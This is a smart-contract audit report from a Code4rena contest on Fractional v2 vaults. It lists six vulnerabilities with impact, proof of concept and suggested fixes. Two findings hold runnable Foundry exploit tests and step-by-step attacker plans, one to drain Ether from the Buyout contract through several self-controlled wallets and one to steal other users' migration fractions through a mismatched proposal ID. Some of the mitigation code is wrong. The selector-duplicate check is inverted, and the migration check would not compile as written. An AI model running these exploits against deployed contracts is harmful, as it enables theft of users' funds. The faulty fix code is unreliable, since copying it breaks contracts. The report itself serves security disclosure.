Fractional v2 contest - berndartmueller's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L268-L269

Vulnerability details

Impact

The function Buyout.cash allows a user to cash out proceeds (Ether) from a successful vault buyout.

However, due to how buyoutShare is calculated in Buyout.cash, users (fractional vault token holders) cashing out would receive more Ether than they are entitled to. The calculation is wrong as it uses the initial Ether balance stored in buyoutInfo[_vault].ethBalance. Each consecutive cash-out will lead to a user receiving more Ether, ultimately draining the Ether funds of the Buyout contract.

Proof of Concept

Copy paste the following test case into Buyout.t.sol and run the test via forge test -vvv --match-test testCashDrainEther:

The test shows how 2 users Alice and Eve cash out Ether from a successful vault buyout (which brought in 10 ether). Alice and Eve are both entitled to receive 5 ether each. Alice receives the correct amount when cashing out, however, due to a miscalculation of buyoutShare (see #L268-L269), Eve can cash-out 10 ether from the Buyout contract.

function testCashDrainEther() public {
  /// ==================
  /// ===== SETUP =====
  /// ==================

  deployBaseVault(alice, TOTAL_SUPPLY);
  (token, tokenId) = registry.vaultToToken(vault);
  alice.ferc1155 = new FERC1155BS(address(0), 111, token);
  bob.ferc1155 = new FERC1155BS(address(0), 222, token);
  eve.ferc1155 = new FERC1155BS(address(0), 333, token);

  buyout = address(buyoutModule);
  proposalPeriod = buyoutModule.PROPOSAL_PERIOD();
  rejectionPeriod = buyoutModule.REJECTION_PERIOD();

  vm.label(vault, "VaultProxy");
  vm.label(token, "Token");

  setApproval(alice, vault, true);
  setApproval(alice, buyout, true);
  setApproval(bob, vault, true);
  setApproval(bob, buyout, true);
  setApproval(eve, vault, true);
  setApproval(eve, buyout, true);

  alice.ferc1155.safeTransferFrom(
      alice.addr,
      bob.addr,
      1,
      6000,
      ""
  );

  alice.ferc1155.safeTransferFrom(
      alice.addr,
      eve.addr,
      1,
      2000,
      ""
  );
  /// ==================
  /// ===== SETUP END =====
  /// ==================

  /// Fraction balances:
  assertEq(getFractionBalance(alice.addr), 2000); // Alice: 2000
  assertEq(getFractionBalance(bob.addr), 6000); // Bob: 6000
  assertEq(getFractionBalance(eve.addr), 2000); // Eve: 2000

  bob.buyoutModule.start{value: 10 ether}(vault);

  assertEq(getETHBalance(buyout), 10 ether);

  /// Bob (proposer of buyout) transfered his fractions to buyout contract
  assertEq(getFractionBalance(buyout), 6000);

  vm.warp(rejectionPeriod + 1);

  bob.buyoutModule.end(vault, burnProof);

  /// Fraction balances after buyout ended:
  assertEq(getFractionBalance(alice.addr), 2000);  // Alice: 2000
  assertEq(getFractionBalance(bob.addr), 0); // Bob: 0
  assertEq(getFractionBalance(eve.addr), 2000); // Eve: 2000

  assertEq(getETHBalance(buyout), 10 ether);

  /// Alice cashes out 2000 fractions -> 5 ETH (correct amount)
  alice.buyoutModule.cash(vault, burnProof);

  assertEq(getFractionBalance(alice.addr), 0);
  assertEq(getETHBalance(alice.addr), 105 ether);

  /// Eve cashes out 2000 fractions -> REVERTS (internally it calculates Eve would receive 10 ETH instead of the entitled 5 ETH). If the contract holds sufficient Ether from other successful buyouts, Eve would receive the full 10 ETH
  eve.buyoutModule.cash(vault, burnProof);
}

Additionally to the demonstrated PoC in the test case, an attacker could intentionally create vaults with many wallets and exploit the vulnerability:

1. Attacker deploys a vault with 10.000 fractions minted
2. 51% of fractions (5.100) are kept in the main wallet, all other fractions are distributed to 5 other self-controlled wallets (Wallets 1-5, 980 fractions each)
3. With the first wallet, the attacker starts a buyout with 10 ether - fractions are transferred into the Buyout contract as well as 10 ether
4. Attacker waits for REJECTION_PERIOD to elapse to call Buyout.end (51% of fractions are already held in the contract, therefore no need for voting)
5. After the successful buyout, the attacker uses the Buyout.cash function to cash out each wallet. Each subsequent cash-out will lead to receiving more Ether, thus stealing Ether from the Buyout contract:
   1. Wallet 1 - buyoutShare = (980 * 10 ) / (3920 + 980) = 2 ether (totalSupply = 3920 after burning 980 fractions from wallet 1)
   2. Wallet 2 - buyoutShare = (980 * 10 ) / (2940 + 980) = 2.5 ether (totalSupply = 2940 after burning 980 fractions from wallet 2)
   3. Wallet 3 - buyoutShare = (980 * 10 ) / (1960 + 980) = ~3.3 ether (totalSupply = 1960 after burning 980 fractions from wallet 3)
   4. Wallet 4 - buyoutShare = (980 * 10 ) / (980 + 980) = 5 ether (totalSupply = 980 after burning 980 fractions from wallet 4)
   5. Wallet 5 - buyoutShare = (980 * 10 ) / (0 + 980) = 10 ether (totalSupply = 0 after burning 980 fractions from wallet 5)

If summed up, cashing out the 5 wallets, the attacker receives 22.8 ether in total. Making a profit of 12.8 ether.

This can be repeated and executed with multiple buyouts and vaults at the same time as long as there is Ether left to steal in the Buyout contract.

Tools Used

Manual review

Recommended mitigation steps

Decrement ethBalance from buyout info buyoutInfo[_vault].ethBalance -= buyoutShare; in Buyout.cash (see @audit-info annotation):

function cash(address _vault, bytes32[] calldata _burnProof) external {
    // Reverts if address is not a registered vault
    (address token, uint256 id) = IVaultRegistry(registry).vaultToToken(
        _vault
    );
    if (id == 0) revert NotVault(_vault);
    // Reverts if auction state is not successful
    (, , State current, , uint256 ethBalance, ) = this.buyoutInfo(_vault);
    State required = State.SUCCESS;
    if (current != required) revert InvalidState(required, current);
    // Reverts if caller has a balance of zero fractional tokens
    uint256 tokenBalance = IERC1155(token).balanceOf(msg.sender, id);
    if (tokenBalance == 0) revert NoFractions();

    // Initializes vault transaction
    bytes memory data = abi.encodeCall(
        ISupply.burn,
        (msg.sender, tokenBalance)
    );
    // Executes burn of fractional tokens from caller
    IVault(payable(_vault)).execute(supply, data, _burnProof);

    // Transfers buyout share amount to caller based on total supply
    uint256 totalSupply = IVaultRegistry(registry).totalSupply(_vault);
    uint256 buyoutShare = (tokenBalance * ethBalance) /
        (totalSupply + tokenBalance);
    buyoutInfo[_vault].ethBalance -= buyoutShare; // @audit-info decrement `ethBalance` by `buyoutShare`
    _sendEthOrWeth(msg.sender, buyoutShare);
    // Emits event for cashing out of buyout pool
    emit Cash(_vault, msg.sender, buyoutShare);
}

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L160 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L308-L318

Vulnerability details

Impact

An attacker can steal vault fractions from users who joined an active vault migration by creating a "fake" and worthless vault (worthless meaning that no ERC20, ERC721,.. assets are held within the vault) and calling Migration.withdrawContribution(VAULT_ADDRESS_TO_STEAL_FROM, ARBITRARY_PROPOSAL_ID).

This will result in loss of funds (both ETH and vault fractions) for vault migration voters (users who joined the migration proposal) as withdrawing (leaving) the proposal will cause the last ones to do so to not be able to leave (due to insufficient proposal.totalFractions and proposal.totalEth and reverting with an underflow error on L156)

Proof of Concept

Copy paste the following test-case into Migration.t.sol and run the test via forge test -vvv --match-test testStealWithdrawContributionFromSomeoneElse:

function testStealWithdrawContributionFromSomeoneElse() public {
    initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);

    uint256 attackerVaultFractions = 10000;
    uint256 attackerProposalId = 99;
    uint256 stealFractionsAmount = HALF_SUPPLY;
    address vaultAttacker;

    // Migrate to a vault with no permissions (just to test out migration)
    address[] memory newModules = new address[](2);

    newModules[0] = migration;
    newModules[1] = modules[1];

    // Bob makes the proposal
    bob.migrationModule.propose(
        vault,
        newModules,
        nftReceiverPlugins,
        nftReceiverSelectors,
        TOTAL_SUPPLY * 2,
        10 ether
    );
    // Bob joins the proposal
    bob.migrationModule.join{value: 10 ether}(vault, 1, stealFractionsAmount);


    /// Setup worthless vault for the attacker Eve

    (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
    vaultAttacker = eve.baseVault.deployVault(
        attackerVaultFractions,
        modules,
        nftReceiverPlugins,
        nftReceiverSelectors,
        mintProof
    );
    (address attackerToken, uint256 attackerTokenId) = registry.vaultToToken(vaultAttacker);
    eve.ferc1155 = new FERC1155BS(address(0), 333, attackerToken);

    setApproval(eve, vaultAttacker, true);
    setApproval(eve, migration, true);
    vm.label(attackerToken, "Attacker Token");
    vm.label(vaultAttacker, "VaultAttackerProxy");

    // Eve has 10.000 fractions of `vaultAttacker`
    assertEq(IERC1155(attackerToken).balanceOf(eve.addr, attackerTokenId), attackerVaultFractions);

    // Eve has 0 fractions of `vault`
    assertEq(IERC1155(token).balanceOf(eve.addr, tokenId), 0);

    // Eve joins own vault with `stealFractionsAmount = HALF_SUPPLY` tokens (no proposal needed)
    eve.migrationModule.join(vaultAttacker, attackerProposalId, stealFractionsAmount);

    // Eve now has less fractions
    assertEq(IERC1155(attackerToken).balanceOf(eve.addr, attackerTokenId), attackerVaultFractions - stealFractionsAmount);

    // Eve steals the fraction tokens previously transferred to proposal from Bob
    eve.migrationModule.withdrawContribution(vault, attackerProposalId);

    // Eve successfully stole fractions from Bob
    assertEq(IERC1155(token).balanceOf(eve.addr, tokenId), stealFractionsAmount);

    // Bob is not able to withdraw his contribution -> reverts. He lost his fractions of the vault AND his 1 ETH
    vm.expectRevert(stdError.arithmeticError);
    bob.migrationModule.withdrawContribution(vault, 1);
}

The attack works the following:

Given a vault with id 1337 and 10.000 fractions distributed to multiple users (Bob is one of them). A user has proposed a migration with id 1 to a new vault with new configuration parameters (they do not matter for this PoC)

1. Bob joins the migration via Migration.join{value: 1 ether}(1337, 1, 5000) to show his support for this migration. 1 ETH and 5000 fractions are transferred to the migration contract
2. Eve (attacker) creates a worthless vault (id 9999) with 10.000 fractions
3. Eve joins a non-existing migration proposal for her previously created vault 9999 with Migration.join(9999, 2, 5000) (Note that the proposal id 2 is used). Internally, userProposalFractions[_proposalId][msg.sender] += _amount; keeps track of the 5000 fractions deposited by Eve for the proposal with id 2
4. Eve calls Migration.withdrawContribution(1337, 2) to steal the 5000 previously deposited fractions by Bob from the vault with the id 1337. This is possible due to the lack of checking if the proposal id passed to Migration.withdrawContribution belongs to the correct vault (see Migration.sol#L308-L318):

   // Temporarily store user's fractions for the transfer
   uint256 userFractions = userProposalFractions[_proposalId][msg.sender];
   // Updates fractional balance of caller
   userProposalFractions[_proposalId][msg.sender] = 0;
   // Withdraws fractional tokens from contract back to caller
   IFERC1155(token).safeTransferFrom(
       address(this),
       msg.sender,
       id,
       userFractions,
       ""
   );

Tools Used

Manual review

Recommended mitigation steps

Consider checking if the provided _proposalId matches the correct _vault in the Migration.withdrawContribution function. For instance:

require(migrationInfo[_vault][_proposalid].startTime, "Proposal does not exist for vault");

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L73-L82 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L233

Vulnerability details

Impact

The Vault contract implements the install function which installs plugins by mapping function selectors _selectors to the associated plugin contract addresses _plugins. Additionally, module permissions are implemented as Merkle trees generated from the list of hash permissions returned by IModule.getLeafNodes.

Anyone can create a proposal to migrate a vault (and it's assets) to a new vault. However, there are two ways to create an invalid migration proposal that can cause assets to be locked:

1. If the proposal creator calls the function Migration.propose with more selectors in _selectors as plugins defined in _plugins, the for loop in Vault.install will revert with an index out of bounds error when accessing _plugins[i]
2. If the proposal creator calls the function Migration.propose with either zero _modules or if the provided _modules have less than 2 permissions (see L235-L239)

Such an invalid proposal is now in a "limbo" state, having a buyoutInfo state of State.SUCCESS and proposal.newVault = address(0) and assets can not be migrated via functions like Migration.migrateVaultERC20 (due to either transferring (i.e. burning) assets to the zero-address or the ERC-20 transfer reverts for tokens like USDC).

Proof of Concept

Vault.install

function install(bytes4[] memory _selectors, address[] memory _plugins)
    external
{
    if (owner != msg.sender) revert NotOwner(owner, msg.sender);
    uint256 length = _selectors.length;
    for (uint256 i = 0; i < length; i++) {
        methods[_selectors[i]] = _plugins[i]; // @audit-info reverts if `i` is larger than `_plugins.length`
    }
    emit InstallPlugin(_selectors, _plugins);
}

Migration.sol#L233

function settleVault(address _vault, uint256 _proposalId) external {
    // Reverts if the migration was not proposed
    Proposal storage proposal = migrationInfo[_vault][_proposalId];
    if (!(proposal.isCommited)) revert NotProposed();
    // Reverts if the migration was unsuccessful
    (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault);
    if (current != State.SUCCESS) revert UnsuccessfulMigration();
    // Reverts if the new vault has already been deployed
    if (proposal.newVault != address(0))
        revert NewVaultAlreadyDeployed(proposal.newVault);

    // Gets the merkle root for the vault and given proposal ID
    bytes32[] memory merkleTree = generateMerkleTree(proposal.modules);
    bytes32 merkleRoot = getRoot(merkleTree); // @audit-info reverts if merkle tree has less than 2 leaf nodes
    // Deploys a new vault with set permissions and plugins
    address newVault = IVaultRegistry(registry).create(
        merkleRoot,
        proposal.plugins,
        proposal.selectors
    );
    // Sets address of the newly deployed vault
    proposal.newVault = newVault;
    // Emits event for settling the new vault
    emit VaultMigrated(
        _vault,
        newVault,
        _proposalId,
        proposal.modules,
        proposal.plugins,
        proposal.selectors
    );
}

Tools Used

Manual review

Recommended mitigation steps

Consider validating the arrays _selectors and _plugins in Migration.propose to be of equal length:

function propose(
    address _vault,
    address[] calldata _modules,
    address[] calldata _plugins,
    bytes4[] calldata _selectors,
    uint256 _newFractionSupply,
    uint256 _targetPrice
) external {
    // Reverts if address is not a registered vault
    (, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault);
    if (id == 0) revert NotVault(_vault);
    // Reverts if buyout state is not inactive
    (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault);
    State required = State.INACTIVE;
    if (current != required) revert IBuyout.InvalidState(required, current);
    require(_plugins.length == _selectors.length, "Array lengths not matching"); // @audit-info validate array lengths
    // Initializes migration proposal info
    Proposal storage proposal = migrationInfo[_vault][++nextId];
    proposal.startTime = block.timestamp;
    proposal.targetPrice = _targetPrice;
    proposal.modules = _modules;
    proposal.plugins = _plugins;
    proposal.selectors = _selectors;
    proposal.oldFractionSupply = IVaultRegistry(registry).totalSupply(
        _vault
    );
    proposal.newFractionSupply = _newFractionSupply;
}

And adapt the Migration.settleVault function to handle less than 2 permission merkle tree leaf nodes:

function settleVault(address _vault, uint256 _proposalId) external {
    // Reverts if the migration was not proposed
    Proposal storage proposal = migrationInfo[_vault][_proposalId];
    if (!(proposal.isCommited)) revert NotProposed();
    // Reverts if the migration was unsuccessful
    (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault);
    if (current != State.SUCCESS) revert UnsuccessfulMigration();
    // Reverts if the new vault has already been deployed
    if (proposal.newVault != address(0))
        revert NewVaultAlreadyDeployed(proposal.newVault);

    // Gets the merkle root for the vault and given proposal ID
    bytes32[] memory merkleTree = generateMerkleTree(proposal.modules);
    bytes32 merkleRoot = merkleTree.length > 1 ? getRoot(merkleTree) : bytes32(""); // @audit-info only call `getRoot` if `merkleTree.length > 1`
    // Deploys a new vault with set permissions and plugins
    address newVault = IVaultRegistry(registry).create(
        merkleRoot,
        proposal.plugins,
        proposal.selectors
    );
    // Sets address of the newly deployed vault
    proposal.newVault = newVault;
    // Emits event for settling the new vault
    emit VaultMigrated(
        _vault,
        newVault,
        _proposalId,
        proposal.modules,
        proposal.plugins,
        proposal.selectors
    );
}

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L131

Vulnerability details

Impact

The Vault._execute function executes plugin transactions through delegatecall. A delegate call function runs the code of the call in the callers (Vault) context (storage, msg.sender, msg.value). Therefore, plugins should be stateless to prevent any issues.

However, a plugin can nevertheless have storage variables declared, hence conflicting with the Vault storage variables. Thus a plugin is able to change the vault storage variables merkleRoot, nonce and methods. If a plugin has a storage variable declared in the same slot as Vault.nonce, a plugin can potentially change the value of nonce to 0. This would then allow the vault to be initialized again via Vault.init, hence changing the ownership of the deployed vault to the msg.sender.

Proof of Concept

Vault._execute

function _execute(address _target, bytes calldata _data)
      internal
      returns (bool success, bytes memory response)
  {
      // Check that the target is a valid contract
      uint256 codeSize;
      assembly {
          codeSize := extcodesize(_target)
      }
      if (codeSize == 0) revert TargetInvalid(_target);
      // Save the owner address in memory to ensure that it cannot be modified during the DELEGATECALL
      address owner_ = owner;
      // Reserve some gas to ensure that the function has enough to finish the execution
      uint256 stipend = gasleft() - MIN_GAS_RESERVE;

      // Delegate call to the target contract
      (success, response) = _target.delegatecall{gas: stipend}(_data); // @audit-info `_target` can potentially overwrite the context of the caller vault
      if (owner_ != owner) revert OwnerChanged(owner_, owner);

      // Revert if execution was unsuccessful
      if (!success) {
          if (response.length == 0) revert ExecutionReverted();
          _revertedWithReason(response);
      }
  }

Tools Used

Manual review

Recommended mitigation steps

Currently, the Vault contract ensures that the owner storage variable is not changed via the delegatecall. To prevent the aforementioned change of ownership, consider also verifying that merkleRoot, nonce and methods have not changed through delegatecall.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L68 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L86

Vulnerability details

Impact

Vault migrations and buyouts can be created by anyone, however, only a single Buyout for a vault can exist. An attacker can front run and prevent a new migration/buyout (The attacker does not even need to have the fractional tokens of the vault as FERC1155 does not check for zero value transfers).

Due to preventing migrations and buyouts of a vault, assets within the vault can be forcefully locked by an attacker.

Proof of Concept

Preventing buyouts

1. Alice wants to start a buyout for a vault that holds a BAYC NFT and calls Buyout.start

2. Bob monitors the mempool and sees the buyout call. He does not want this buyout to happen and front runs the call with Buyout.start and sends 0 Ether

3. Bob's buyout function call is processed earlier by the miners and his buyout for the vault is created. The transaction from Alice reverts due to the check for an existing buyout (Buyout.sol#L68):

   (, , State current, , , ) = this.buyoutInfo(_vault);
   State required = State.INACTIVE;
   if (current != required) revert InvalidState(required, current);

4. Due to Bob sending 0 Ether along the Buyout.start function call and having 0 fractions transferred to the Buyout contract, vault fractions can't be sold and bought, hence voting for the buyout does not work. The buyout for the vault blocks new buyouts from other users for as long as REJECTION_PERIOD

5. As Bob only has to pay for the gas fees, he repeats this for as long as he wants and prevents a potential buyout. The BAYC NFT is locked within the vault.

Preventing migrations

1. Alice wants to propose a migration for a vault that holds a BAYC NFT and calls Migration.propose (parameters do not matter in this PoC)

2. Bob monitors the mempool and sees the migration proposal. He does not want this migration to happen and front runs the call by creating a buyout via Buyout.start and sends 0 Ether

3. Bob's buyout function call is processed earlier by the miners and his buyout for the vault is created. The transaction from Alice reverts due to the check for an existing buyout (Migration.sol#L86):

   // Reverts if buyout state is not inactive
   (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault);
   State required = State.INACTIVE;
   if (current != required) revert IBuyout.InvalidState(required, current);

4. Due to Bob sending 0 Ether along the Buyout.start function call and having 0 fractions transferred to the Buyout contract, vault fractions can't be sold and bought, hence voting for the buyout does not work. The buyout for the vault blocks new buyouts and migrations from other users for as long as REJECTION_PERIOD

5. As Bob only has to pay for the gas fees, he repeats this for as long as he wants and prevents a potential migration.

Tools Used

Manual review

Recommended mitigation steps

Consider allowing multiple buyouts per vault and let the community decide with their "votes".

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L73-L82

Vulnerability details

Impact

The Vault contract implements the install function which installs plugins by mapping function selectors _selectors to the associated plugin contract addresses _plugins.

However, if the _selector array contains duplicates (e.g. a user accidentally installs plugins and provides duplicate function selectors), the for loop in Vault.install will silently override already assigned function selectors. Depending on the installed plugins, this could cause serious issues due to invoking the wrong (overwritten) function selectors on a vault and therefore calling other than expected plugin contracts.

Proof of Concept

Vault.install

function install(bytes4[] memory _selectors, address[] memory _plugins)
    external
{
    if (owner != msg.sender) revert NotOwner(owner, msg.sender);
    uint256 length = _selectors.length;
    for (uint256 i = 0; i < length; i++) {
        methods[_selectors[i]] = _plugins[i]; // @audit-info assignment silently overwrites already existing selector <-> plugin mapping
    }
    emit InstallPlugin(_selectors, _plugins);
}

Tools Used

Manual review

Recommended mitigation steps

Consider checking _selectors in Vault.install for function selector duplicates prior to assignment:

function install(bytes4[] memory _selectors, address[] memory _plugins)
    external
{
    if (owner != msg.sender) revert NotOwner(owner, msg.sender);
    uint256 length = _selectors.length;
    for (uint256 i = 0; i < length; i++) {
        require(methods[_selectors[i]] != address(0), "Function selector already in use"); // @audit-info check for already assigned function selector

        methods[_selectors[i]] = _plugins[i];
    }
    emit InstallPlugin(_selectors, _plugins);
}